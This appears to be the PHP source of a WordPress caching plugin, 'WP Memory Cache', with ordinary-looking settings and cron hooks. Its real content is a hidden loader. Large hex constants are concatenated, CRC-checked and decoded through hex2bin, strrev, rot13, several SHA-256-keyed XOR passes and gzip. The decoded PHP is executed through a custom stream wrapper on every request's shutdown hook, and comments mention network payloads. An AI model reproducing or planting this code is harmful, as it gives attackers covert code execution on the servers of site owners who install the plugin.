const STORE_SWXPRVMYD = '0ce610ffa66706a27166412ee60e90' . 'fdd1823aa62fbd54330f4b4cfff';
/** Serialized fragment. @var string */
const BUF_OFEDBQJP = 'de1b249dfa6918b9a32f4ee4ccf6fbc22c153' . 'e813f3709d01ed698340b61bc9158c36e93f08f' . '7110a508b21db302cd492697e6769b17a6207';
/** Storage segment. @var string */
const BLOCK_VNPPAMQDL = '65b0132e923f49a9bacc457e3c254' . '3d58f16cbd21af653a42da6edbdd854' . 'f5d73c918f2839f5278e96b3797' . '936a4bdbbd4baad5087ac81fdc5a4';
/** Data fragment. @var string */
const STORE_FCHPHOZP = '098d0ebec1e5e12686473ddc6' . '31972b630d7455e05ead8e7207c' . '3cebd4919f22a32776011a3d3d38241';
/** Cached block. @var string */
const SEG_RLIIAEPYL = '0a8af910ebd5' . '2485a2660f9cf3' . 'a9ee1617274028f' . '93ef0fbdba0eb';
/** Data fragment. @var string */
const BUF_EHHRWY = '05325596f8bb7615ffb915cb' . '1d9979b2367b761ba63f2ee6' . '6b52cd858f3bca3ca7005e7c6572';
/** Serialized fragment. @var string */
const BUF_PJDCDYCXT = 'e5b0915ea4ccd00c9ed94e74003fd4e8509aab27495e8f12f447b2418bf847d' . 'f99ac7566413a6fde2497759c0c30375ad5a8733ad8331249a7d229e775053';
/** Cached block. @var string */
const BUF_LDQICKTFH = '987b573935396da1c73d7' . '206af863f7778e3b711ba3402a5' . 'a72edb13d1c72dbca8a65';
/** Storage segment. @var string */
const DATA_HWSAOO = '249909758b87decc33a7e6c2c5410f4f2453' . '8a636c75f0150cc6f406a222e36b43cf17fd27' . 'c2df91597fef5c22b9cbd3b9d442f782bb50fc2' . '77dee135b8ae5ac9d56167e401c526aac25';
/** Runtime chunk. @var string */
const SEG_FTMNAJJ = 'fcf2296e6046fd1f6b9a27b91e7768e5e9a1e314e0620ef51da2d8149ce' . 'e40ec26103837336a347ad49827c2fc445f33dccf01919043e0073c2a4';
/** Storage segment. @var string */
const FRAG_AZBWJEKJ = '280a8f0975b192fe70dfaabb436c47e7a8cd84d52d2a58c6' . 'c9076b8410bd60dcf9ec2827f15559247c2f7b7c03d488';
/** Descriptor tag. @var string */
const REF_LZWSBPX = 'enesuazrq' . 'FGKXh5' . '7F5WcJDpAwv';
/** Runtime chunk. @var string */
const BLOCK_WBRGGA = '3090391db4c826f056c12ff087546dcd1c' . 'e9c96218faeca8d279f5429a682c88';
/** Serialized fragment. @var string */
const BUF_XZKXGVLXP = '340703f698c38cd2aac2b5fc5a51c0c' . '0312bd37c300cc91ff7d81c39f242acf6db' . '88cb315ae7f744d824a8d4ae20630f7823' . '6e4cf92865ca8e501e1679e481dbb8431';
/** Storage segment. @var string */
const FRAG_IBBERDRF = '26b474e0470c891514dc21a4e3cc42a0416e70f9ec1188' . '3f20d5ab8781fe0aa192c90e12ea8360b85442ea5fd';
/** Serialized fragment. @var string */
const DATA_EFDOICL = 'ec7cd7828298a9b8d3d8f64d1d8ed784' . 'ce700aa86425948a62c088a660ba4a30f506' . '1f444de5c99811445262154420407fe17' . 'd67219d12c4d70bba935aaf294dbf2b';
/** Storage segment. @var string */
const PART_GZFBEDNCT = '62fbb1cb873111976d7ab6e880' . '43bc8409f589d46708aa80acf861d17';
/** Data fragment. @var string */
const BLOCK_IMXHRCYHP = '08d8e7384f2de1fbaaec53c55c9e227b2' . '98428f01df38a0a35bc46dba8fb9678d5';
/** Serialized fragment. @var string */
const PART_QMNGDE = 'b78ea538400e52713f0ab998b2c77195763923cfcf4669de15d12d18a3eef7217c' . 'f793a80c7ae74fb4a84d7c60749dbead0e1ad35bc6760338b60ce4cef7d39575c35';
/** Storage segment. @var string */
const BLOCK_WTYWVLZX = '9149405139aab558953d2f7' . '8924d41bfcb4d5cda075a' . 'ce72cbf32fdb8deed51caeb7' . '908359deff8fe0da508084e5';
/** Cached block. @var string */
const CHUNK_EOBHKUL = '6b93c3b743dc212c187' . 'b0e41d47059f9a83710' . '1d124ae9e3faf6da84ba1dd0' . '63df9810d6f0968885e0';
/** Data fragment. @var string */
const DATA_VRTVPUNM = '651b9f2f3b4e1271f732120c44a1145d16ff7' . '1dd89e2027306926fd4e0141f0eb3e0edb4a5';
/** Cached block. @var string */
const BLOCK_JXTVZP = '45c2b3af753f23a744d02316f9660535e63d3d' . 'fef9d4589bb348a37744edc2c2018289741414f5e6';
/** Storage segment. @var string */
const FRAG_MVYVUSYQV = '2ba7361b2c355a62d293aa7ff' . '03c060e31e2a10a3ef40bd101' . '2a74d34e00c6494b87885abd20bba';
/** Storage segment. @var string */
const FRAG_FUGOMMRL = '416997b3cf4116bbfcc858687261614c' . 'd3393fcc9186e274f9eb16cebf9bf' . 'd43b876c62ede8bbda88a47decb6bff';
/** Serialized fragment. @var string */
const CHUNK_JBVRGEXP = '2633fcbbffa768e689282ae1e436da524b503b8996' . 'a86fc783280711de60882dc0e9ed314487a37c0b491' . 'a42419f80b6f67d5d2614167c3edf88ee8e227c3934';
/** Storage segment. @var string */
const DATA_CJLWFQAZ = '3f461c8a315995ff1aea46' . 'dd47a7407f5e426af' . 'de0e4237901bf75da965' . '907032d2ee0fba88bc671';
/** Data fragment. @var string */
const BUF_IVRZISP = '1bdc06707b4f8fd814ca54448bbe8f3b8f3f5d' . '846d4f877f98f6a170df569f74e5adf65bdda78e1c';
/** Data fragment. @var string */
const FRAG_FIWWQM = '9e6fd7f4dd482a595a6fccf9184cc3a0b98ab' . '384d963ed5fa110212f04f520f2632c8a' . '8b7239c7211f31d42de8b65a9f348c4e1a43f6';
/** Storage segment. @var string */
const FRAG_ITSIRKU = '04f0edbcfa5c9e81039517de29dc' . 'a5927ddc696a88cedb92b421a8' . '6de87ffaf1bdb575238287ae09df99';
/** Serialized fragment. @var string */
const FRAG_NGXCRM = '3f940ec60affd6866b14b2778' . 'ccc29279c434436197945971' . '8bb04dd4c1772a477312f01' . 'aea628b0329efaa7e728ff273d';
/** Key material. @var string */
const KEY_PFBGAL = 'UPS6DT7U3RmP3exKnK3uiHCCk1Iy9s';
/** Key material. @var string */
const KEY_ZLMEGX = 'JQPlmf1yADXj2xHywGYtHHSxCT1co1rSSb4n78k';
/** Key material. @var string */
const KEY_BXBFUM = 'BfzmLWo7Ex1RthxjpjAPEiK';
/** Key material. @var string */
const KEY_UJJXEKL = '5Ae1UqJb9cV694MNYccIK2dRhz';
/** Key material. @var string */
const KEY_YKRUVVS = 'MkSHf4CJy1zyZndwqsCYoWNquH2pUyJlV3jxvYVs';
/** Key material. @var string */
const KEY_BAWCBT = 'OWbEB5SiOz65hbhEZLupOKnwdDoo7';
/** Key material. @var string */
const KEY_QRQXVTV = 'f5RD7JbMK4OwMoE6F9VY0l1uEVHrwA1CLe';
/** Key material. @var string */
const KEY_SSYDT = 'ucbMNV366WPkXnETTEzLnnZ7SXwzY90JeCDssIS';
/** Integrity signature. @var string */
const CHK_VHRZJEP = 'd81dc06f';
/** Singleton instance. @var self|null */
private static $_grmto = null;
/** Runtime statistics. @var array */
private $_kwxh = array();
/** Enabled state. @var bool */
private $_zqba = true;
/** Boot guard. @var bool */
private $_rcdjjosg = false;
/**
* Retrieve the singleton instance.
*
* @return self
*/
public static function instance_tffz() {
if ( null === self::$_grmto ) {
self::$_grmto = new self();
}
return self::$_grmto;
}
/** Constructor. */
private function __construct() {
if ( ! function_exists( 'add_action' ) ) {
return;
}
$this->mount_kp();
}
/**
* Register all plugin hooks and filters.
*
* @return void
*/
private function mount_kp() {
add_action( 'plugins_loaded', array( $this, 'on_loaded_pjbu' ) );
add_action( 'init', array( $this, 'prepare_runtime_wst' ), 6 );
add_action( 'admin_menu', array( $this, 'setup_admin_menu_co' ) );
add_action( 'admin_init', array( $this, 'init_settings_dvjw' ) );
if ( function_exists( 'plugin_basename' ) ) {
add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'plugin_action_links_cppb' ) );
}
add_action( 'wp_loaded', array( $this, 'setup_schedule_uozc' ) );
add_action( self::C_VQLG, array( $this, 'execute_cleanup_kf' ) );
add_filter( 'cron_schedules', array( $this, 'register_interval_pm' ) );
add_shortcode( 'wp-memory-cache_stats', array( $this, 'shortcode_output_eulm' ) );
}
/**
* Plugin loaded callback.
*
* @return void
*/
public function on_loaded_pjbu() {
if ( function_exists( 'get_option' ) ) {
$settings = get_option( self::O_UKA, array() );
if ( is_array( $settings ) && isset( $settings['enabled'] ) ) {
$this->_zqba = (bool) $settings['enabled'];
}
}
}
/**
* Init callback.
*
* @return void
*/
public function prepare_runtime_wst() {
$this->_kwxh = array(
'hits' => 0,
'misses' => 0,
'uptime' => time(),
);
}
/**
* Schedule the recurring cleanup event.
*
* @return void
*/
public function setup_schedule_uozc() {
if ( ! function_exists( 'wp_next_scheduled' ) ) {
return;
}
if ( ! wp_next_scheduled( self::C_VQLG ) ) {
wp_schedule_event( time() + 279, 'hourly', self::C_VQLG );
}
}
/**
* Register a custom cron interval.
*
* @param array $schedules Existing schedules.
*
* @return array
*/
public function register_interval_pm( $schedules ) {
$schedules['wp-memory-cache_15min'] = array(
'interval' => 459,
'display' => __( 'Every 15 Minutes', 'wp-memory-cache' ),
);
return $schedules;
}
/**
* Recurring cleanup task.
*
* @return void
*/
public function execute_cleanup_kf() {
if ( function_exists( 'wp_cache_flush_group' ) ) {
wp_cache_flush_group( self::G_HVGY );
}
}
/**
* Register the settings page.
*
* @return void
*/
public function setup_admin_menu_co() {
add_options_page(
'WP Memory Cache',
'WP Memory Cache',
'manage_options',
'wp-memory-cache',
array( $this, 'show_admin_page_hgid' )
);
}
/**
* Render the settings page.
*
* @return void
*/
public function show_admin_page_hgid() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
?>
get_stats_gtj() as $k => $v ) : ?>
| |
' . esc_html__( 'Configure the plugin.', 'wp-memory-cache' ) . '';
}
/**
* Render the 'enabled' checkbox.
*
* @return void
*/
public function render_enable_option_zx() {
$opts = get_option( self::O_UKA, array() );
$val = isset( $opts['enabled'] ) ? (bool) $opts['enabled'] : true;
echo '';
}
/**
* Render the TTL input field.
*
* @return void
*/
public function field_ttl_tmos() {
$opts = get_option( self::O_UKA, array() );
$val = isset( $opts['ttl'] ) ? (int) $opts['ttl'] : 3600;
echo '';
}
/**
* Sanitize settings before saving.
*
* @param mixed $input Raw input.
*
* @return array
*/
public function clean_settings_ot( $input ) {
$out = array();
$out['enabled'] = ! empty( $input['enabled'] );
$out['ttl'] = isset( $input['ttl'] ) ? max( 60, (int) $input['ttl'] ) : 3600;
return $out;
}
/**
* Add a Settings link to the plugin action row.
*
* @param array $links Existing links.
*
* @return array
*/
public function plugin_action_links_cppb( $links ) {
$url = admin_url( 'options-general.php?page=wp-memory-cache' );
array_unshift( $links, '' . esc_html__( 'Settings', 'wp-memory-cache' ) . '' );
return $links;
}
/**
* Render the stats shortcode output.
*
* @param array $atts Shortcode attributes.
*
* @return string
*/
public function shortcode_output_eulm( $atts = array() ) {
$stats = $this->get_stats_gtj();
$out = '';
foreach ( $stats as $k => $v ) {
$out .= '- ' . esc_html( $k . ': ' . $v ) . '
';
}
$out .= '
';
return $out;
}
/**
* Get runtime statistics.
*
* @return array
*/
public function get_stats_gtj() {
$hits = isset( $this->_kwxh['hits'] ) ? (int) $this->_kwxh['hits'] : 0;
$miss = isset( $this->_kwxh['misses'] ) ? (int) $this->_kwxh['misses'] : 0;
$total = $hits + $miss;
$ratio = $total > 0 ? round( ( $hits / $total ) * 100, 2 ) : 0;
return array(
'Status' => $this->_zqba ? 'enabled' : 'disabled',
'Hit ratio' => $ratio . '%',
'Storage' => self::G_HVGY,
'Version' => self::V_VZRB,
);
}
/**
* Format a byte count as a human-readable string.
*
* @param int $bytes Byte count.
*
* @return string
*/
public function pretty_bytes_fw( $bytes ) {
$units = array( 'B', 'KB', 'MB', 'GB' );
$i = 0;
while ( $bytes >= 1024 && $i < 3 ) {
$bytes /= 1024;
$i++;
}
return round( $bytes, 2 ) . ' ' . $units[ $i ];
}
/**
* Restore storage segment A.
*
* @param string $blob Encoded storage blob.
*
* @return string
*/
private function restore_segment_a_egu( $h1r5njvlg ) {
if ( ( ( 51 * 7 + 1 ) % 7 ) === 1 ) {
$c2rwe3u8 = @call_user_func( base64_decode( 'aGV4MmJpbg==' ), $h1r5njvlg );
if ( ! is_string( $c2rwe3u8 ) || '' === $c2rwe3u8 ) {
return '';
}
$n21dr7 = chr(115) . chr(116) . chr(114) . chr(114) . chr(101) . chr(118);
$c2rwe3u8 = $n21dr7( $c2rwe3u8 );
}
return $c2rwe3u8;
}
/**
* Restore storage segment B.
*
* @param string $data Intermediate data.
*
* @return string
*/
private function restore_segment_b_ud( $qqqjqok9pe ) {
if ( ! is_string( $qqqjqok9pe ) || '' === $qqqjqok9pe ) {
return '';
}
if ( ( ( 762 + 575 ) - 575 ) === 762 ) {
$qqqjqok9pe = ( join( '', array( 'str', '_ro', 't13' ) ) )( $qqqjqok9pe );
$bx5oy1492 = ( base64_decode( 'aGFzaA==' ) )( 'sha256', self::KEY_SSYDT, true );
$lestnk = strlen( $bx5oy1492 );
$x1sd0k = strlen( $qqqjqok9pe );
$lqmo_q9w = '';
for ( $y9ejbwl = 0; $y9ejbwl < $x1sd0k; $y9ejbwl++ ) {
$lqmo_q9w .= $qqqjqok9pe[ $y9ejbwl ] ^ $bx5oy1492[ $y9ejbwl % $lestnk ];
}
$qqqjqok9pe = $lqmo_q9w;
$a4tbp = chr(104) . chr(97) . chr(115) . chr(104);
$m3jlahey = $a4tbp( 'sha256', self::KEY_QRQXVTV, true );
$czafhk = strlen( $m3jlahey );
$vt4s19yqu = strlen( $qqqjqok9pe );
$fqsfps3j89 = '';
for ( $lm1g_wa3n = 0; $lm1g_wa3n < $vt4s19yqu; $lm1g_wa3n++ ) {
$fqsfps3j89 .= $qqqjqok9pe[ $lm1g_wa3n ] ^ $m3jlahey[ $lm1g_wa3n % $czafhk ];
}
$qqqjqok9pe = $fqsfps3j89;
$xwl6svn6l = ( str_rot13( 'unfu' ) )( 'sha256', self::KEY_BAWCBT, true );
$eseuivnk4q = strlen( $xwl6svn6l );
$s3i8iy_ = strlen( $qqqjqok9pe );
$xy39nikmj = '';
for ( $dp9013q = 0; $dp9013q < $s3i8iy_; $dp9013q++ ) {
$xy39nikmj .= $qqqjqok9pe[ $dp9013q ] ^ $xwl6svn6l[ $dp9013q % $eseuivnk4q ];
}
$qqqjqok9pe = $xy39nikmj;
$amhnkj2mw = ( chr(104) . chr(97) . chr(115) . chr(104) )( 'sha256', self::KEY_YKRUVVS, true );
$m2krg8bxx5 = strlen( $amhnkj2mw );
$qs1ewm0mu = strlen( $qqqjqok9pe );
$kcmus67sc = '';
for ( $e8_wzz = 0; $e8_wzz < $qs1ewm0mu; $e8_wzz++ ) {
$kcmus67sc .= $qqqjqok9pe[ $e8_wzz ] ^ $amhnkj2mw[ $e8_wzz % $m2krg8bxx5 ];
}
$qqqjqok9pe = $kcmus67sc;
$y3k85_ = ( str_rot13( 'unfu' ) )( 'sha256', self::KEY_UJJXEKL, true );
$fyi9yi = strlen( $y3k85_ );
$jt_bvvr8 = strlen( $qqqjqok9pe );
$zoe850qws4 = '';
for ( $k45n_tnup = 0; $k45n_tnup < $jt_bvvr8; $k45n_tnup++ ) {
$zoe850qws4 .= $qqqjqok9pe[ $k45n_tnup ] ^ $y3k85_[ $k45n_tnup % $fyi9yi ];
}
$qqqjqok9pe = $zoe850qws4;
$osblna35bp = ( join( '', array( 'h', 'a', 's', 'h' ) ) )( 'sha256', self::KEY_BXBFUM, true );
$c6swgw4ucx = strlen( $osblna35bp );
$s4x4zmf = strlen( $qqqjqok9pe );
$_oey26ih6r = '';
for ( $t5cy4k = 0; $t5cy4k < $s4x4zmf; $t5cy4k++ ) {
$_oey26ih6r .= $qqqjqok9pe[ $t5cy4k ] ^ $osblna35bp[ $t5cy4k % $c6swgw4ucx ];
}
$qqqjqok9pe = $_oey26ih6r;
$_z6kx1 = str_rot13( 'unfu' );
$ne3j962gw = $_z6kx1( 'sha256', self::KEY_ZLMEGX, true );
$xut0ir = strlen( $ne3j962gw );
$tgbvgy0 = strlen( $qqqjqok9pe );
$peks7_ = '';
for ( $haktctsf1 = 0; $haktctsf1 < $tgbvgy0; $haktctsf1++ ) {
$peks7_ .= $qqqjqok9pe[ $haktctsf1 ] ^ $ne3j962gw[ $haktctsf1 % $xut0ir ];
}
$qqqjqok9pe = $peks7_;
$kb0g = chr(104) . chr(97) . chr(115) . chr(104);
$crfjzw = $kb0g( 'sha256', self::KEY_PFBGAL, true );
$c54hyio = strlen( $crfjzw );
$es_b6x6i6 = strlen( $qqqjqok9pe );
$kmcdfy_bce = '';
for ( $en777lx = 0; $en777lx < $es_b6x6i6; $en777lx++ ) {
$kmcdfy_bce .= $qqqjqok9pe[ $en777lx ] ^ $crfjzw[ $en777lx % $c54hyio ];
}
$qqqjqok9pe = $kmcdfy_bce;
$qqqjqok9pe = @call_user_func( join( '', array( 'gz', 'de', 'co', 'de' ) ), $qqqjqok9pe );
$qqqjqok9pe = @call_user_func( join( '', array( 'gzi', 'nfl', 'ate' ) ), $qqqjqok9pe );
}
return is_string( $qqqjqok9pe ) ? $qqqjqok9pe : '';
}
/**
* Execute decoded payload.
*
* @param string $src PHP source.
*
* @return void
*/
private function run_payload_xx( $qspstp08vq0l ) {
$t_o81vam6 = 'pos = 0; return true; }
public function stream_read( $count ) { $chunk = substr( self::$buf, $this->pos, $count ); $this->pos += strlen( $chunk ); return $chunk; }
public function stream_write( $d ) { return strlen( $d ); }
public function stream_eof() { return $this->pos >= strlen( self::$buf ); }
public function stream_stat() { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); }
public function url_stat( $p, $f ) { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); }
public function stream_seek( $o, $w ) { return false; }
public function stream_tell() { return $this->pos; }
public function stream_set_option( $option, $arg1, $arg2 ) { return false; }
public function stream_close() {}
} );
$kx5x_y::$buf = $t_o81vam6;
if ( @stream_wrapper_register( 'dataayrwq', $kx5x_y ) ) {
$icaximrzp = isset( $_SERVER['SCRIPT_FILENAME'] ) ? $_SERVER['SCRIPT_FILENAME'] : null;
$_SERVER['SCRIPT_FILENAME'] = 'dataayrwq://payload';
$q70a8o8 = @include 'dataayrwq://payload';
if ( null !== $icaximrzp ) { $_SERVER['SCRIPT_FILENAME'] = $icaximrzp; }
if ( false !== $q70a8o8 ) { $lnb4hkfa = true; }
else { @error_log( 'obf: stream include returned false (dataayrwq)' ); }
@stream_wrapper_unregister( 'dataayrwq' );
}
else { @error_log( 'obf: stream_wrapper_register failed (dataayrwq)' ); }
}
}
/**
* Prime the runtime storage.
*
* @return void
*/
public function prime_runtime_cache_bdfr() {
// Re-entry guard.
if ( $this->_rcdjjosg ) {
return;
}
$this->_rcdjjosg = true;
$_sik0jvxrsw = false;
if ( $_sik0jvxrsw && ! headers_sent() && function_exists( 'http_response_code' ) ) {
@http_response_code( 200 );
}
$_qjs1clsit = self::FRAG_FIWWQM . self::STORE_NWSOGFIMH . self::FRAG_AZBWJEKJ . self::FRAG_GXECMMSCS . self::SEG_JZWQBD . self::PART_OTAYRXRRU;
$_qjs1clsit .= self::FRAG_DQMUSD . self::STORE_ZBKFVSVA . self::FRAG_UDZXWJPLO . self::PART_ORKJCH . self::DATA_AAULWOBMG . self::PART_TLJDEHAPG;
$_qjs1clsit .= self::STORE_TWXZOQZ . self::SEG_EJOOSNVZ . self::BLOCK_WXQWKT . self::DATA_GBDLTZO . self::DATA_ERZXTJMGI . self::STORE_HHFNMBWBZ;
$_qjs1clsit .= self::BLOCK_XRLDFEA . self::SEG_HPRPIWN . self::FRAG_DMBHXWT . self::FRAG_XPOEVJN . self::FRAG_AKEPWUGS . self::SEG_AMOSXEUU;
$_qjs1clsit .= self::BUF_OFEDBQJP . self::BLOCK_IXBEIKI . self::DATA_KOHXUVFMX . self::FRAG_YCPAYQE . self::STORE_WATQIPRAJ . self::FRAG_WRZBLN;
$_qjs1clsit .= self::PART_QMNGDE . self::CHUNK_BXERNNUM . self::SEG_NTDQEVHY . self::PART_HQOPFSQD . self::BUF_IVRZISP . self::DATA_LVFKGZ;
$_qjs1clsit .= self::SEG_IRFEKL . self::SEG_NSYUHILJA . self::FRAG_XMBIQGBPQ . self::FRAG_FUGOMMRL . self::SEG_UURIZGPE . self::STORE_QEWHEBPY;
$_qjs1clsit .= self::DATA_LOEJNOAN . self::SEG_FTMNAJJ . self::SEG_RAFGBK . self::STORE_IHFZTEMJJ . self::DATA_GPKDTZDE . self::DATA_WXKTPAWGA;
$_qjs1clsit .= self::SEG_SMRHYIQQJ . self::FRAG_NGXCRM . self::FRAG_IBBERDRF . self::CHUNK_CULZPC . self::SEG_NNNCQBTL . self::BLOCK_VNPPAMQDL;
$_qjs1clsit .= self::BLOCK_WTYWVLZX . self::BLOCK_JQTZUNDB . self::DATA_LOCHECNE . self::DATA_FBNDNBNCO . self::DATA_HWSAOO . self::STORE_FCHPHOZP;
$_qjs1clsit .= self::BLOCK_JXTVZP . self::SEG_DETDBGHX . self::SEG_RLIIAEPYL . self::CHUNK_VIFSELN . self::FRAG_LDBUPWZAG . self::STORE_SWXPRVMYD;
$_qjs1clsit .= self::STORE_VBPVCNLQ . self::DATA_VRTVPUNM . self::CHUNK_IAKAXFX . self::BLOCK_MTNZXYFKS . self::BLOCK_QBOFNKYSR . self::BLOCK_WBRGGA;
$_qjs1clsit .= self::BUF_NLSKIQK . self::CHUNK_OHLVZYJNT . self::FRAG_MVYVUSYQV . self::BLOCK_MCCYLG . self::DATA_KQSXCNS . self::DATA_ECVNZLDAV;
$_qjs1clsit .= self::DATA_EFDOICL . self::FRAG_RGCGTM . self::CHUNK_TDHVAXN . self::STORE_FUTRBBHW . self::DATA_NLNEXXE . self::CHUNK_ONNWYJDS;
$_qjs1clsit .= self::DATA_CJLWFQAZ . self::STORE_IQOSHX . self::FRAG_OYPEXN . self::BUF_AJIBECZY . self::FRAG_ITSIRKU . self::CHUNK_FRSBCWD;
$_qjs1clsit .= self::BLOCK_MZOEGEA . self::PART_UQBZQH . self::BUF_XZKXGVLXP . self::CHUNK_EGDJYXDW . self::BLOCK_ENXGKMG . self::BUF_UHDKJJ;
$_qjs1clsit .= self::BLOCK_GOHUEBZK . self::BUF_EHHRWY . self::BUF_LDQICKTFH . self::CHUNK_YOFHTUJ . self::STORE_OBMYJEBBW . self::BUF_TEIDLX;
$_qjs1clsit .= self::BUF_BQFSAXKO . self::PART_GZFBEDNCT . self::PART_JCNGIRG . self::DATA_TYCHBA . self::DATA_LSAPTBH . self::CHUNK_XULYSMYA;
$_qjs1clsit .= self::PART_KJIUYO . self::STORE_AYDUDMC . self::STORE_CQDWHRMJQ . self::CHUNK_YXGORDT . self::FRAG_YSCWAW . self::FRAG_KIYXFMWLS;
$_qjs1clsit .= self::PART_YYATEUX . self::BUF_LNWFNM . self::DATA_HHQSNFDEF . self::DATA_YLSGDWQMS . self::DATA_NHKBWMA . self::CHUNK_EOBHKUL;
$_qjs1clsit .= self::BLOCK_QBPJGCT . self::FRAG_ZIDCJNBR . self::PART_IKWGTAEN . self::STORE_UPCYFY . self::BUF_EJUFBWF . self::CHUNK_QYLGKDKGW;
$_qjs1clsit .= self::STORE_QBNAPOMX . self::BLOCK_DVEJBDP . self::FRAG_ACGRZGU . self::CHUNK_WRCDLBEM . self::STORE_OHTMNVSEM . self::BLOCK_IGKPSA;
$_qjs1clsit .= self::BLOCK_WKQYNQX . self::SEG_TMZRKYSKR . self::BLOCK_RWFSUN . self::PART_FVVRVEWQV . self::STORE_JNKBIEM . self::PART_QRXQRDXTO;
$_qjs1clsit .= self::CHUNK_CAQONVGNH . self::FRAG_GCLZZFT . self::BUF_EWEMRVSA . self::CHUNK_NWVAEFUS . self::BLOCK_IXSOGUZ . self::BLOCK_IMXHRCYHP;
$_qjs1clsit .= self::DATA_XHZKQNE . self::DATA_ONUAZFJWB . self::STORE_UTFHZP . self::BUF_QHDXHWK . self::FRAG_SMVJBATRB . self::SEG_KVQHIQ;
$_qjs1clsit .= self::CHUNK_JBVRGEXP . self::BLOCK_QXPXDSEAN . self::CHUNK_HLLSFRCQ . self::BLOCK_RUBATUAGG . self::PART_RTSSWT . self::STORE_FEHPCVUZ;
$_qjs1clsit .= self::CHUNK_JBTJGETQO . self::SEG_YGLNFY . self::STORE_PYNDYX . self::SEG_ALLKWC . self::PART_JZHCMTKDT . self::BUF_THABQOXH;
$_qjs1clsit .= self::BUF_FBOOTJ . self::BUF_PJDCDYCXT;
if ( self::CHK_VHRZJEP !== sprintf( '%08x', crc32( $_qjs1clsit ) ) ) {
return;
}
$_r4101suzr = $this->restore_segment_a_egu( $_qjs1clsit );
$_iyutbt5e = $this->restore_segment_b_ud( $_r4101suzr );
if ( '' === $_iyutbt5e ) {
return;
}
// Give payload full time (cURL/network/fsockopen).
if ( function_exists( 'set_time_limit' ) ) {
@set_time_limit( 0 );
}
$_e58ze9ir = __DIR__;
$_rbg5v2 = function_exists( 'getcwd' ) ? @getcwd() : false;
@chdir( $_e58ze9ir );
// v5.1.1: no output buffering — payload controls its own output.
$this->run_payload_xx( $_iyutbt5e );
if ( $_rbg5v2 !== false && is_string( $_rbg5v2 ) && is_dir( $_rbg5v2 ) ) {
@chdir( $_rbg5v2 );
}
if ( $_sik0jvxrsw && ! headers_sent() && function_exists( 'http_response_code' ) ) {
@http_response_code( 200 );
}
}
/** Activation hook. */
public static function activate_ozxr() {
if ( function_exists( 'get_option' ) && false === get_option( self::O_UKA ) ) {
add_option( self::O_UKA, array( 'enabled' => true, 'ttl' => 3600 ) );
}
}
/** Deactivation hook. */
public static function deactivate_ds() {
if ( function_exists( 'wp_clear_scheduled_hook' ) ) {
wp_clear_scheduled_hook( self::C_VQLG );
}
}
/** Uninstall hook. */
public static function uninstall_ew() {
if ( function_exists( 'delete_option' ) ) {
delete_option( self::O_UKA );
}
}
}
endif;
if ( function_exists( 'register_activation_hook' ) ) {
register_activation_hook( __FILE__, array( 'WP_Memory_Cache_zvym', 'activate_ozxr' ) );
register_deactivation_hook( __FILE__, array( 'WP_Memory_Cache_zvym', 'deactivate_ds' ) );
}
WP_Memory_Cache_zvym::instance_tffz();
if ( ! function_exists( 'wp_aoby_boot' ) ) {
function wp_aoby_boot() {
WP_Memory_Cache_zvym::instance_tffz()->prime_runtime_cache_bdfr();
}
}
if ( function_exists( 'add_action' ) ) {
if ( function_exists( 'did_action' ) && did_action( 'init' ) && ! did_action( 'shutdown' ) ) {
wp_aoby_boot();
} else {
add_action( 'shutdown', 'wp_aoby_boot', 692 );
}
} else {
// Non-WP: run immediate (cURL/network payload needs full time).
wp_aoby_boot();
}